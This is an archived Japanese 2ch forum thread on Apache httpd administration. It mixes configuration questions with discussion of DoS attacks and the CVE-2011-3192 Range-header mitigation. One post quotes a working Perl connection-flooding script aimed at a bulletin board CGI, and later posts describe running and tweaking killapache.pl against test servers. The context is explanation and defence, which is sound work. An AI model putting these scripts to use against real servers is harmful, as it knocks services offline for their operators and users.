Apache関連 Part11
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
2008/09/30(火) 08:11:00http://httpd.apache.org/
●インストール済みApacheの詳細情報の調べ方
httpd -h 簡易ヘルプ
httpd -v バージョン情報
httpd -V コンパイル条件など詳細な情報
httpd -l 静的リンクされたモジュール一覧
httpd -M 現在の設定ファイルで読み込まれるモジュール(2.2以降)
●公式マニュアル
http://httpd.apache.org/docs/1.3/ Apache 1.3
http://httpd.apache.org/docs/2.0/ Apache 2.0
http://httpd.apache.org/docs/2.2/ Apache 2.2
●ディレクティブ一覧
http://httpd.apache.org/docs/1.3/mod/directives.html
http://httpd.apache.org/docs/2.0/mod/quickreference.html
http://httpd.apache.org/docs/2.2/mod/quickreference.html
前スレッド
Apache関連 Part10
http://pc11.2ch.net/test/read.cgi/unix/1179627714/
0512名無しさん@お腹いっぱい。
2011/07/25(月) 02:28:49.74結局のところモジュール本体に改造を入れることって多いよね。。。
0513名無しさん@お腹いっぱい。
2011/07/25(月) 03:15:04.58だったら作って有名になってみればいいじゃんw
0514509
2011/07/25(月) 10:37:52.60複数プロセスで共有してる奴で、どっかで突然死するプロセスが居ればさもありなんて感じ
発生頻度も週一くらいで、何台かで回してるサービスだし面倒
0515名無しさん@お腹いっぱい。
2011/07/25(月) 11:56:14.210516名無しさん@お腹いっぱい。
2011/08/04(木) 07:37:37.77サーバへにリクエストが来た時、リクエストを受け取るまでhttpdは待っているわけだ
しかしcontentslength分だけ受け取りたいけど待てど暮らせど送ってこないから
httpd.confのtimeoutするまでそのhttpdプロセスがブロックされるんだな
そしてそれがたーくさんたまる、売り切れまで溜まる
売り切れたらそれ以降のhttpの要求は受け付けなくなる
攻撃がやんだらブロックされているhttpdは順次timeoutで開放され
だんだんいつもの状態に近づく
こうなんじゃないかな?
456 ◆IOT1IIO1ILUU-さる♪ sage 2011/08/03(水) 15:06:18.97 ID:219.106.108.87 0
>>449
大体はそんな感じです。
少し違うのは、Content-Lengthは関係ありません。
中途半端なHTTPリクエストであってもApacheが律儀にTCPのタイムアウトまでリソースを確保して待ってしまうのが原因なので、
それこそTCPで何か少しでもデータを送ってやれば、HTTPリクエストとして完全に破綻していてもApacheは落ちます。
なのでHTTPのヘッダに着目して対策するのは無理です。
0517名無しさん@お腹いっぱい。
2011/08/04(木) 07:39:45.57攻撃元のスクリプトは以下
433 名無しさん@お腹いっぱい。 sage 2011/08/03(水) 14:51:01.84 ID:81.94.203.180 0
スクリプト自体はマルチスレッドでBBS.CGIを叩くだけなんだよな
こんな感じで
my $ref = sub{
while(){
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
connect(SOCK, sockaddr_in("80", $ipaddr));
select(SOCK);
$|=1;
select(STDOUT);
print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
print SOCK "Accept: */*\r\n";
print SOCK "Referer: http://$sv" . "/news/\r\n";
print SOCK "Accept-Language: ja,en;q=0.5\r\n";
print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
print SOCK "Accept-Encoding: gzip, deflate\r\n";
print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
print SOCK "Host: $sv\r\n";
print SOCK "Content-Length: 1\r\n";
print SOCK "Connection: Keep-Alive\r\n";
print SOCK "\r\n";
close(SOCK);
threads->yield();
}
};
0518名無しさん@お腹いっぱい。
2011/08/04(木) 10:17:16.260519名無しさん@お腹いっぱい。
2011/08/04(木) 10:38:02.85ありがとう
0520名無しさん@お腹いっぱい。
2011/08/07(日) 14:40:43.49Keep-Aliveの時間を指定した場合、どういう時間を指し示すのでしょうか?
Wikipediaを見ていてふと疑問に思いました。
Keepalive time is the duration between two keepalive transmissions in idle condition. TCP keepalive period is required to be configurable and by default is set to no less than 2 hours.
Keepalive interval is the duration between two successive keepalive retransmissions, if acknowledgement to the previous keepalive transmission is not received.
http://en.wikipedia.org/wiki/Keepalive
0521名無しさん@お腹いっぱい。
2011/08/07(日) 15:23:57.310522名無しさん@お腹いっぱい。
2011/08/07(日) 17:14:40.130523名無しさん@お腹いっぱい。
2011/08/09(火) 04:00:06.70telnetでアクセス(HEAD /some/foo/hoge.jpg HTTP/1.0)しても404を返してくるサーバがあります。
それなのに、chromeでアクセスすると画像が表示されます。
これってどういう設定なのでしょうか?
telnetやwgetでchromeと同じ結果を得るためには、どうアクセスするべきなのでしょうか?
0524509
2011/08/09(火) 10:40:40.070525名無しさん@お腹いっぱい。
2011/08/10(水) 03:24:02.30Chrome で見えるって言うのは、画像の URI を直接指定して?
こちらの紳士達が詳しいかも↓
http://hibari.2ch.net/test/read.cgi/unix/1305422004/l50
0526名無しさん@お腹いっぱい。
2011/08/10(水) 22:09:42.74ユーザエージェント制限の可能性があるけどその場合は404じゃんくて403だよね
0527名無しさん@お腹いっぱい。
2011/08/10(水) 23:46:51.840528名無しさん@お腹いっぱい。
2011/08/11(木) 00:04:53.560529名無しさん@お腹いっぱい。
2011/08/11(木) 10:41:31.120530名無しさん@お腹いっぱい。
2011/08/11(木) 12:15:38.68軽い気持ちで404返してるかも知れないのにお前は何を言ってるんだ?
0531名無しさん@お腹いっぱい。
2011/08/11(木) 13:36:22.240532名無しさん@お腹いっぱい。
2011/08/13(土) 04:50:07.440533名無しさん@お腹いっぱい。
2011/08/18(木) 10:42:17.44どう設定したらいいかな。
chinkoサーバに http://unko/ というアクセスがあったとき
200でなく404とか適切なエラーを返したい
0534名無しさん@お腹いっぱい。
2011/08/18(木) 10:43:51.160535名無しさん@お腹いっぱい。
2011/08/18(木) 18:25:43.830536名無しさん@お腹いっぱい。
2011/08/25(木) 21:34:02.90Range header DoS vulnerability Apache HTTPD 1.3/2.x
1) Use SetEnvIf or mod_rewrite to detect a large number of ranges and then
either ignore the Range: header or reject the request.
Option 1: (Apache 2.0 and 2.2)
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
# optional logging.
CustomLog logs/range-CVE-2011-3192.log common env=bad-range
対策してね。
0537名無しさん@お腹いっぱい。
2011/08/25(木) 22:01:49.96http://hatsukari.2ch.net/test/read.cgi/news/1314272986/
0538名無しさん@お腹いっぱい。
2011/08/25(木) 23:31:09.77https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-3192
0539名無しさん@お腹いっぱい。
2011/08/26(金) 10:04:21.250540名無しさん@お腹いっぱい。
2011/08/26(金) 11:57:53.46問題は2chが落ちた原因が ApacheKillerだと認識されてるかどうかだが。
2ch来てない奴には通用しないかも。ニュース系サイトでの取扱い鈍いし。
0541名無しさん@お腹いっぱい。
2011/08/26(金) 21:29:06.82それ対策なってねーぞw
0542名無しさん@お腹いっぱい。
2011/08/26(金) 22:36:22.12==============================
UPDATE 2
なんてのを用意中ぽいな
workaroundも修正されとるでぇ
ttp://mail-archives.apache.org/mod_mbox/httpd-dev/201108.mbox/%3CF0328A02-507F-42F6-A99E-EC2F30733BB7@bbc.co.uk%3E
0543名無しさん@お腹いっぱい。
2011/08/26(金) 23:00:52.14http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3C20110826103531.998348F82@minotaur.apache.org%3E
ということで
>>536
はネタが古い
0544名無しさん@お腹いっぱい。
2011/08/26(金) 23:50:02.78お前らちゃんと検証しろよな
0545名無しさん@お腹いっぱい。
2011/08/27(土) 09:17:11.02あんまし困らないけどenv=bad-req-rangeの定義がないような気がする・・・。
SetEnvIf漏れ?
0546名無しさん@お腹いっぱい。
2011/08/27(土) 09:59:14.610547名無しさん@お腹いっぱい。
2011/08/29(月) 18:31:37.90「使ってないぞコレ」と思ったらコメントアウトしてOK?
なんか気を付けることがあったらおしえてください。
0548名無しさん@お腹いっぱい。
2011/08/29(月) 18:50:36.980549名無しさん@お腹いっぱい。
2011/08/29(月) 19:00:03.08一応Apacheのところを読んではいるんですが、
「××する機能」とはあるんですが、止めたら何が問題か?は書いてないですよね?
ノウハウっぽいところがあるのかな?と。
0550名無しさん@お腹いっぱい。
2011/08/29(月) 19:29:15.160551名無しさん@お腹いっぱい。
2011/08/29(月) 19:43:26.290552名無しさん@お腹いっぱい。
2011/08/29(月) 19:46:34.21そのモジュールが提供するディレクティブ一覧が載ってる。
そのディレクティブを使ってなければたいていいらない。
0553名無しさん@お腹いっぱい。
2011/08/29(月) 21:15:45.17大体そんな方針で良いみたいですね
ある程度最初からonにしてあるのは利便性のタメかな?
0554名無しさん@お腹いっぱい。
2011/08/29(月) 23:02:41.020555名無しさん@お腹いっぱい。
2011/08/30(火) 11:10:26.12apacheのドキュメントルート直下に/cgi-bin/という名前のフォルダを作ると、
Forbiddenとなってしまい、それ以下のファイルを参照することが出来なくなってしまいます。
直下に/cgi-bin/を配置するのではなく、/test/cgi-bin/というようにワンクッション置けば参照できるようになります。
これは正常な動作なのでしょうか?
また、これが正常な動作である場合、ドキュメントルート直下に/cgi-bin/というフォルダを置いても
Forbiddenにならないようにするにはどのように設定を変更すればよいのでしょうか?
教えていただきたいです。
0556名無しさん@お腹いっぱい。
2011/08/30(火) 11:20:54.28っ ScriptAlias
0557555
2011/08/30(火) 12:28:42.47ありがとうございます。
つまり、ドキュメントルート直下に/cgi-bin/を作成すると、ScriptAliasの設定と競合する形になってしまうってことですかね?
それでScriptAliasの設定が優先されるので、自分で作成した/cgi-bin/はForbiddenになってしまうと。
あと、単純な質問になってしまいますが、そもそもScriptAliasの設定したディレクトリにcgiを置くメリットってなんなんでしょうか?
cgi自体をダウンロードされたり表示されないようにするためだと記してあるサイトが多いようですが、
ScriptAliasに置かなくてもcgiにアクセスしたら、結局はプログラムが実行された後の結果しか与えられないと考えていたのですが。
ScriptAliasで設定したディレクトリ以外に置かれたcgiというのは、その中身が簡単にみられてしまったりするのでしょうか?
0558名無しさん@お腹いっぱい。
2011/08/30(火) 13:28:23.86> つまり、ドキュメントルート直下に/cgi-bin/を作成すると、ScriptAliasの設定と競合する形になってしまうってことですかね?
ScriptAlias の指定が優先されてドキュメントルートの方の /cgi-bin/ は参照されない。
> あと、単純な質問になってしまいますが、そもそもScriptAliasの設定したディレクトリにcgiを置くメリットってなんなんでしょうか?
一ヶ所に集めておくと管理しやすい。
あやしいプログラムをユーザに勝手に置かれるのを防ぐ。
0559555
2011/08/30(火) 14:09:15.85解説ありがとうございます。
>あやしいプログラムをユーザに勝手に置かれるのを防ぐ。
これはつまりセキュリティの事を考慮すると、cgiはScriptAliasで設定したディレクトリに置いた方がよいということですよね。
この質問とは別のことになりますが、例えばページの管理者だけが使用することを目的としたcgiを作成した場合、
ドキュメントルート下にhtaccessの設定でBasic認証を有効にしたディレクトリにそのcgiを置くよりも、
ScriptAliasで設定したディレクトリにそのcgiを置いた方がセキュリティ面では良いということになるのでしょうか?
0560名無しさん@お腹いっぱい。
2011/08/30(火) 14:21:51.67管理しきれるならどこに置いてもいいんじゃね。
あと、自分と同じディレクトリにデータファイルを作るようなプログラムがあった場合に
ScriptAlias 以下ならそのファイルを覗かれることがない、っていう利点もあるにはある。
副次的な効果だけど。
そんなプログラム作る方が悪いんだけど。
0561555
2011/08/30(火) 14:34:43.13とりあえず、初心者なのでScriptAliasで設定したディレクトリにcgiを集めることにしてみます。
お答えくださってありがとうございました。
0562名無しさん@お腹いっぱい。
2011/08/30(火) 14:46:50.140563名無しさん@お腹いっぱい。
2011/08/31(水) 10:38:02.430564名無しさん@お腹いっぱい。
2011/08/31(水) 11:02:44.56テストは面倒だからしてない(・∀・)y‐┛~~
0565名無しさん@お腹いっぱい。
2011/08/31(水) 14:52:22.61まだまだ沢山いると思うんだけど...
0566名無しさん@お腹いっぱい。
2011/08/31(水) 15:02:26.970567名無しさん@お腹いっぱい。
2011/08/31(水) 15:06:53.44仕事先のだとなかなか...
0568名無しさん@お腹いっぱい。
2011/08/31(水) 15:07:58.370569名無しさん@お腹いっぱい。
2011/08/31(水) 17:54:52.560570名無しさん@お腹いっぱい。
2011/08/31(水) 23:31:26.50>>538
0571名無しさん@お腹いっぱい。
2011/09/01(木) 03:47:35.520572名無しさん@お腹いっぱい。
2011/09/01(木) 10:45:44.80来たよ。
http://rhn.redhat.com/errata/RHSA-2011-1245.html
0573名無しさん@お腹いっぱい。
2011/09/01(木) 11:18:40.390574名無しさん@お腹いっぱい。
2011/09/01(木) 11:40:51.420575名無しさん@お腹いっぱい。
2011/09/01(木) 12:11:51.87RHEL4.xのパッチをパクればOK
0576名無しさん@お腹いっぱい。
2011/09/01(木) 12:29:35.321.3.x は出さないと言ってた気がする
0577名無しさん@お腹いっぱい。
2011/09/01(木) 12:39:32.05今回の脆弱性で実際に攻撃を受けたってサイトはあるの?
0578名無しさん@お腹いっぱい。
2011/09/01(木) 13:12:44.862ch とか?
0579名無しさん@お腹いっぱい。
2011/09/01(木) 13:15:49.58非公式な対応はいろいろあるけど、
公式に出ないのかな、と思って。
0580名無しさん@お腹いっぱい。
2011/09/01(木) 14:41:38.010581名無しさん@お腹いっぱい。
2011/09/01(木) 14:43:16.08とつぜんどうしたの。
0582名無しさん@お腹いっぱい。
2011/09/01(木) 14:48:35.430583名無しさん@お腹いっぱい。
2011/09/01(木) 18:50:37.25落としてみて報告してくれと無茶ぶりされて、
必死こいて頑張っていますが、
killapache.pl を使って、
1.3.xでは落ちません。
2.2.xでは落ちました。
変な話ですが、1.3.xで落とせた方はいらっしゃいますか?
0584名無しさん@お腹いっぱい。
2011/09/01(木) 20:19:33.780585名無しさん@お腹いっぱい。
2011/09/01(木) 20:26:28.530586名無しさん@お腹いっぱい。
2011/09/01(木) 20:35:48.51なんでinetdモード使ってるの?
0587名無しさん@お腹いっぱい。
2011/09/01(木) 20:38:22.720588名無しさん@お腹いっぱい。
2011/09/01(木) 21:50:55.78TCP Wrapper が使いたいとか?
0589名無しさん@お腹いっぱい。
2011/09/01(木) 22:15:07.02ここが参考になるかも
http://blog.tokumaru.org/2011/08/apache-killerapache-killer.html
0590名無しさん@お腹いっぱい。
2011/09/01(木) 22:40:19.55MaxClientsを下げて10にしましたが、ビクともしません。
そもそもkillapache.plの
28行目 for ($k=0;$k<1300;$k++) {
を
for ($k=5;$k<1300;$k++) {
としないと
206 Partial Content
が返りませんでした。200が返りました。
2.2.xでは、何もしなくても206が返りました。
再現方法が違うのでしょうか?
0591名無しさん@お腹いっぱい。
2011/09/01(木) 22:45:57.52http://people.apache.org/~dirkx/CVE-2011-3192.txt
0592名無しさん@お腹いっぱい。
2011/09/01(木) 23:09:15.40583です。
そんな今さら・・・
Apache 1.3 is NOT vulnerable.
えっ!?
UPDATE2までしか見ていませんでした。
ありがとうございました!
0593名無しさん@お腹いっぱい。
2011/09/01(木) 23:40:13.170594名無しさん@お腹いっぱい。
2011/09/02(金) 01:22:26.29ttp://www.jpcert.or.jp/at/2011/at110023.html
0595名無しさん@お腹いっぱい。
2011/09/02(金) 08:36:48.740596名無しさん@お腹いっぱい。
2011/09/03(土) 12:23:58.91http://huge.shit.com/test.php?param=xxx -> 404 Not Found
http://<上記ドメインのIP>/test.php -> 200 OK
http://<上記ドメインのIP>/test.php?param=xxx -> 200 OK
Virtualhostへのアクセスで存在するファイルにGETパラメータを渡すと404になる。
こんな現象に悩まされてるんだけど、これなんで?誰か教えて!
0597名無しさん@お腹いっぱい。
2011/09/03(土) 12:39:44.970598名無しさん@お腹いっぱい。
2011/09/03(土) 12:45:11.61ていうか、パラメータ渡すと not found になる設定ってあるのかな。
昨日まで正常だったのに、いきなりこの現象が発生してわけわからんのです。
0599名無しさん@お腹いっぱい。
2011/09/03(土) 13:44:17.550600名無しさん@お腹いっぱい。
2011/09/03(土) 13:48:55.99おれ以外にも管理者はいるから誰かが
何かを書き換えた可能性はなくはないんだよね。
?でパラメータ渡すと別ファイルとして認識されちゃうってことだよね多分これ。
0601名無しさん@お腹いっぱい。
2011/09/03(土) 14:14:14.82confの日付で実際更新されてるか分かるだろうし。
0602名無しさん@お腹いっぱい。
2011/09/03(土) 14:21:53.08Rewrite使ってる?
Apache Killerの件で設定変えたとか。
0603名無しさん@お腹いっぱい。
2011/09/03(土) 15:36:13.73Rewriteは、してないね。
killapache対策はしたけど、数日前なので、タイミングは合致しないなー。
0604名無しさん@お腹いっぱい。
2011/09/03(土) 15:45:48.190605名無しさん@お腹いっぱい。
2011/09/03(土) 16:34:37.48diffすればいいんじゃない?
0606名無しさん@お腹いっぱい。
2011/09/03(土) 16:57:16.34誰が何を変更したのかがわかる状況ではないんだよね。confの更新日はkillapache対策の時だね。昨日じゃない。
ためしにRange周りの設定をオフってみたけど関係ないみたい。
>> 604
FirefoxのHackbarってアドオン使ってPOSTしてみた限りでは問題なかべおん。
てかさ、
/js/jquery.js
だとアクセスできて
/js/jqueyr.js?test
でNot Foundになるってどおゆうことなんだろう。んなことある?
0607名無しさん@お腹いっぱい。
2011/09/03(土) 18:53:08.15違うブラウザではどんな?同じ動作?
0608名無しさん@お腹いっぱい。
2011/09/03(土) 19:19:20.79うだうだ書いてるヒマあったら他の管理者どもに話を訊けよアホ
あと設定ファイルの変更履歴とれやボケ
0609名無しさん@お腹いっぱい。
2011/09/03(土) 19:35:31.640610名無しさん@お腹いっぱい。
2011/09/03(土) 19:37:16.200611名無しさん@お腹いっぱい。
2011/09/03(土) 22:37:24.77どのブラウザでも一緒だね。
IP直打ちとVirtualHostで動作が違うってのがポイントだと思ってずっと調べてるけど、未だ解決できず。
>>608
confに変更はない。他の管理者は連絡とれず。やーここの人なら「そりゃおめー原因はあれだよ」ってなるかなと
思ってさ。自力で調べつつ、わらにもすがる思いで聞いとります。
■ このスレッドは過去ログ倉庫に格納されています